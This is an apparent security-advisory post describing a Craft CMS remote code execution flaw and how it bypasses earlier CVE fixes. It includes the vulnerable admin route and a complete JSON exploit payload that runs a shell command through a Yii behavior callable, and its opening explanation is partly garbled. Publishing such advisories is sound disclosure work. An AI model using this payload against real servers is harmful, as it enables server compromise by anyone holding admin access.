Listen to this Post
This vulnerability exploits the Yii framework’s behavior attachment mechanism within Craft CMS. Attackers with administrator access can send crafted JSON payloads to specific admin routes, such as /admin/actions/fields/apply-layout-element-settings. The payload uses the `as ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"]) and setting a wildcard event listener (on to self::beforeSave), any event fired on the tainted component triggers the `beforeSave` method. This method invokes the attacker-defined callable via reflection, executing the provided argument (e.g., touch /tmp/touch), leading to remote code execution. This technique bypasses previous mitigations for CVE-2024-4990 and CVE-2024-58136 by abusing a legitimate Behavior class’s magic `__set()` and `__get()` methods.
Platform: Craft CMS
Version: <5.8.21, <4.16.17
Vulnerability: RCE via Behavior
Severity: Critical
Date: 2025-12-04
Prediction: Patched 2025-12-04
What Undercode Say:
Analytics:
composer create-project "craftcms/craft" app ./craft serve 127.0.0.1:9090 ls -la /tmp/
POST /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings
{"as xxx":{"__class":"yii\behaviors\AttributeTypecastBehavior","__construct()":[{"attributeTypes":{"typecastBeforeSave":["Psy\Readline\Hoa\ConsoleProcessus","execute"]},"typecastBeforeSave":"touch /tmp/touch"}]},"on ":"self::beforeSave"}
How Exploit:
Crafted JSON payload
Admin access required
Triggers arbitrary callable
Protection from this CVE:
Update to patched versions
Apply security patches
Restrict admin access
Impact:
Remote Code Execution
Server compromise
Privilege escalation
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
